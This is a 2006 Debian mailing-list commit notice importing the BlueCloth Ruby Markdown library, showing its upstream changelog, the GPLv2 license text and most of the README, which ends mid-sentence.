[Pkg-ruby-extras-maintainers] r535 - in packages: . libbluecloth-ruby libbluecloth-ruby/trunk libbluecloth-ruby/trunk/bin libbluecloth-ruby/trunk/debian libbluecloth-ruby/trunk/lib libbluecloth-ruby/trunk/tests libbluecloth-ruby/trunk/tests/data

Arnaud Cornet nohar-guest at costa.debian.org
Thu May 11 22:53:37 UTC 2006


Author: nohar-guest
Date: 2006-05-11 22:53:35 +0000 (Thu, 11 May 2006)
New Revision: 535

Added:
   packages/libbluecloth-ruby/
   packages/libbluecloth-ruby/tags/
   packages/libbluecloth-ruby/trunk/
   packages/libbluecloth-ruby/trunk/CHANGES
   packages/libbluecloth-ruby/trunk/LICENSE
   packages/libbluecloth-ruby/trunk/README
   packages/libbluecloth-ruby/trunk/bin/
   packages/libbluecloth-ruby/trunk/bin/bluecloth
   packages/libbluecloth-ruby/trunk/debian/
   packages/libbluecloth-ruby/trunk/debian/changelog
   packages/libbluecloth-ruby/trunk/debian/compat
   packages/libbluecloth-ruby/trunk/debian/control
   packages/libbluecloth-ruby/trunk/debian/control.in
   packages/libbluecloth-ruby/trunk/debian/copyright
   packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install
   packages/libbluecloth-ruby/trunk/debian/rules
   packages/libbluecloth-ruby/trunk/debian/watch
   packages/libbluecloth-ruby/trunk/install.rb
   packages/libbluecloth-ruby/trunk/lib/
   packages/libbluecloth-ruby/trunk/lib/bluecloth.rb
   packages/libbluecloth-ruby/trunk/test.rb
   packages/libbluecloth-ruby/trunk/tests/
   packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb
   packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb
   packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb
   packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb
   packages/libbluecloth-ruby/trunk/tests/bctestcase.rb
   packages/libbluecloth-ruby/trunk/tests/data/
   packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt
   packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt
   packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt
   packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt
   packages/libbluecloth-ruby/trunk/utils.rb
Log:
[svn-inject] Installing original source of libbluecloth-ruby

Added: packages/libbluecloth-ruby/trunk/CHANGES
===================================================================
--- packages/libbluecloth-ruby/trunk/CHANGES	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/CHANGES	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,366 @@
+------------------------------------------------------------------------
+r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines
+
+- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug.
+
+------------------------------------------------------------------------
+r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines
+
+- Tracked down and fixed another regexp engine overflow bug; added a new test,
+   datafile, and minimal testcase that illustrates it.
+
+------------------------------------------------------------------------
+r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line
+
+- Updated to v1.0.0.
+------------------------------------------------------------------------
+r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line
+
+- Updated to v1.0.0.
+------------------------------------------------------------------------
+r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line
+
+- Updated to 20040824.
+------------------------------------------------------------------------
+r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines
+
+- Added CHANGES.xml to ignore property for root directory.
+
+
+------------------------------------------------------------------------
+r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines
+
+- Brought list of block-level tags up to date with Markdown 1.0's list
+- Propagated fix for overflow to the other two block-match patterns.
+- Abstracted list-item patterns out into constants to closer match Markdown's
+  code and to expose them for use in other code.
+- Fixed indentation of <pre> blocks inside blockquotes.
+- Added new tests for all of the above.
+
+------------------------------------------------------------------------
+r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
+
+- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
+  <stillflame at FaerieMUD.org> for the fix).
+- Wrote some additional tests to be sure the block-level html escaper is working
+  after the above fix.
+
+------------------------------------------------------------------------
+r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
+
+- Removed skip of overflow test.
+
+------------------------------------------------------------------------
+r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
+
+- "Fixed" the test case so it overflows again.
+
+------------------------------------------------------------------------
+r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Updated to 20040808.
+
+------------------------------------------------------------------------
+r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Modified to work from wherever the test is run (RPA compat).
+
+------------------------------------------------------------------------
+r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Modified to work from wherever the test is run (RPA compat).
+
+------------------------------------------------------------------------
+r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Updated version attribute.
+
+------------------------------------------------------------------------
+r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Brought markdown syntax up to date with Markdown 1.0fc1.
+
+------------------------------------------------------------------------
+r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Made the require-header work wherever the test is run from (RPA compat).
+
+------------------------------------------------------------------------
+r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
+
+- Brought up to date with Markdown 1.0b7.
+
+- Ignore list properties on the base and docs directories updated.
+
+------------------------------------------------------------------------
+r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
+
+- Commented out non-functional --output option for now.
+------------------------------------------------------------------------
+r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
+
+Initial checkin.
+
+------------------------------------------------------------------------
+r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
+
+- Added test for bug #574.
+
+------------------------------------------------------------------------
+r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
+
+- Test for bug #620 - Unresolved reference-style links doubled the character
+  immediately after them.
+
+- Added additional test email addresses, including ones that use extended latin
+  charset.
+
+- Added bug reference to a test.
+
+------------------------------------------------------------------------
+r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
+
+- Fix for bug #620 - Unresolved reference-style links doubled the character
+  immediately after them.
+
+
+------------------------------------------------------------------------
+r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
+
+- Added tests for bug #568 (Two sets of bold text on one line doesn't render
+  properly). Tests confirmed that two sets of bold text did work, but single
+  characters being bolded does not.
+
+------------------------------------------------------------------------
+r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
+
+- Fixed bug with bolding of single characters (bug #568).
+
+------------------------------------------------------------------------
+r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
+
+- Additional fixes and tests for bug #537.
+
+------------------------------------------------------------------------
+r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
+
+- Added bin/ directory.
+
+------------------------------------------------------------------------
+r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
+
+- Set date.
+
+------------------------------------------------------------------------
+r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
+
+- Added test for Bug #543 (Safe mode does not work when there are no left
+  angle-brackets in the source).
+
+------------------------------------------------------------------------
+r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
+
+- Added test for email address encoding (Bug #537).
+
+- Added test for bug #541 (Leading line of codeblock with more than one tab
+  width of indent mistakenly unindented).
+
+------------------------------------------------------------------------
+r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
+
+- Fix for bug #543 (Safe mode does not work when there are no left
+  angle-brackets in the source).
+
+
+
+------------------------------------------------------------------------
+r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
+
+- Fix for bug #541 (Leading line of codeblock with more than one tab
+  width of indent mistakenly unindented)
+
+
+
+------------------------------------------------------------------------
+r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
+
+- Fix for bug #537. Fix suggested by Marek Janukowicz.
+
+
+------------------------------------------------------------------------
+r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Temporary fixes until I have time to integrate SVN stuff.
+
+------------------------------------------------------------------------
+r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Version bump.
+
+------------------------------------------------------------------------
+r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Brought in line with most-recent release.
+
+------------------------------------------------------------------------
+r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Version bump.
+
+------------------------------------------------------------------------
+r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
+
+- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
+  Goizueta for bug reports and fixes.
+
+
+------------------------------------------------------------------------
+r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Test for bugs 524 and 525
+
+------------------------------------------------------------------------
+r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
+
+- Corrected version
+------------------------------------------------------------------------
+r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
+
+- Brought Version up to date.
+
+------------------------------------------------------------------------
+r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
+
+- Updated ignore metadata.
+------------------------------------------------------------------------
+r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
+
+Initial checkin.
+
+------------------------------------------------------------------------
+r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
+
+- Changed tests/ pattern to catch all tests.
+
+- Added CHANGES.
+
+- Dropped MANIFEST.
+
+------------------------------------------------------------------------
+r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
+
+- Added missing dependency check for devel-logger.
+
+------------------------------------------------------------------------
+r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
+
+- Added contributors section to the header.
+
+- Integrated html- and style-filtering patch from Florian Gross <flgr at ccan.de>.
+
+- Corrections to RedCloth-compatibility.
+
+- Removed log from renderstate, as it's an attribute of the string itself.
+
+------------------------------------------------------------------------
+r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
+
+- Added contributors section to the header.
+
+- Integrated html- and style-filtering patch from Florian Gross <flgr at ccan.de>.
+
+- Corrections to RedCloth-compatibility.
+
+- Removed log from renderstate, as it's an attribute of the string itself.
+
+------------------------------------------------------------------------
+r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Added keywords.
+
+
+------------------------------------------------------------------------
+r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
+
+- Updated comments/added to-do marker.
+
+------------------------------------------------------------------------
+r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Updated ignore list.
+
+
+------------------------------------------------------------------------
+r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+Initial checkin.
+
+
+------------------------------------------------------------------------
+r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Added a time() function for timing bits of code.
+
+
+------------------------------------------------------------------------
+r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Changed keyword constants from CVS to SVN keywords.
+
+
+------------------------------------------------------------------------
+r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Changed location of keyword stuff, added URL keyword.
+
+
+------------------------------------------------------------------------
+r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Added the rest of the content.
+
+
+------------------------------------------------------------------------
+r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
+
+- Fixed license in header
+
+- Fixed error message in exception class with no second argument.
+
+- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
+  patterns.
+
+- Fixed code-span scanning to match spans that occur at the beginning of the
+  line.
+
+- Fixed error in code-span exception case.
+
+------------------------------------------------------------------------
+r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Renamed to reflect repurposing.
+
+
+------------------------------------------------------------------------
+r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
+
+- Converted to bug-testing testcase.
+
+------------------------------------------------------------------------
+r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
+
+- Added some mode code span tests to catch bugs.
+
+------------------------------------------------------------------------
+r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
+
+- Updated dist/install utilities/libs.
+
+------------------------------------------------------------------------
+r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
+
+Removed markdown reference source
+------------------------------------------------------------------------
+r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
+
+Initial checkin

Added: packages/libbluecloth-ruby/trunk/LICENSE
===================================================================
--- packages/libbluecloth-ruby/trunk/LICENSE	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/LICENSE	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,340 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General
+Public License instead of this License.

Added: packages/libbluecloth-ruby/trunk/README
===================================================================
--- packages/libbluecloth-ruby/trunk/README	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/README	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,99 @@
+
+BlueCloth
+=========
+
+Version 1.0.0 - 2004/08/24
+
+Original version by John Gruber <http://daringfireball.net/>.  
+Ruby port by Michael Granger <http://www.deveiate.org/>.
+
+BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
+tool for web writers. To quote from the project page: Markdown allows you to
+write using an easy-to-read, easy-to-write plain text format, then convert it to
+structurally valid XHTML (or HTML).
+
+It borrows a naming convention and several helpings of interface from
+[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
+conversion syntax called [Textile][4].
+
+
+Installation
+------------
+
+You can install this module either by running the included `install.rb` script,
+or by simply copying `lib/bluecloth.rb` to a directory in your load path.
+
+
+Dependencies
+------------
+
+BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
+with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
+versions, and the `logger` library, which is also included in 1.8.x and later.
+
+
+Example Usage
+-------------
+
+The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
+
+    bc = BlueCloth::new( str )
+    puts bc.to_html
+
+This `README` file is an example of Markdown syntax. The sample program
+`bluecloth` in the `bin/` directory can be used to convert this (or any other)
+file with Markdown syntax into HTML:
+
+    $ bin/bluecloth README > README.html
+
+
+Acknowledgements
+----------------
+
+This library is a port of the canonical Perl one, and so owes most of its
+functionality to its author, John Gruber. The bugs in this code are most
+certainly an artifact of my porting it and not an artifact of the excellent code
+from which it is derived.
+
+It also, as mentioned before, borrows its API liberally from RedCloth, both for
+compatibility's sake, and because I think Why's code is beautiful. His excellent
+code and peerless prose have been an inspiration to me, and this module is
+intended as the sincerest flattery.
+
+Also contributing to any success this module may enjoy are those among my peers
+who have taken the time to help out, either by submitting patches, testing, or
+offering suggestions and review:
+
+* Martin Chase <stillflame at FaerieMUD.org>
+* Florian Gross <flgr at ccan.de>
+
+
+Author/Legal
+------------
+
+Original version:  
+Copyright (c) 2003-2004 John Gruber  
+<http://daringfireball.net/>  
+All rights reserved.
+
+Ruby version:  
+Copyright (c) 2004 The FaerieMUD Consortium
+
+BlueCloth is free software; you can redistribute it and/or modify it under the
+terms of the GNU General Public License as published by the Free Software
+Foundation; either version 2 of the License, or (at your option) any later
+version.
+
+BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
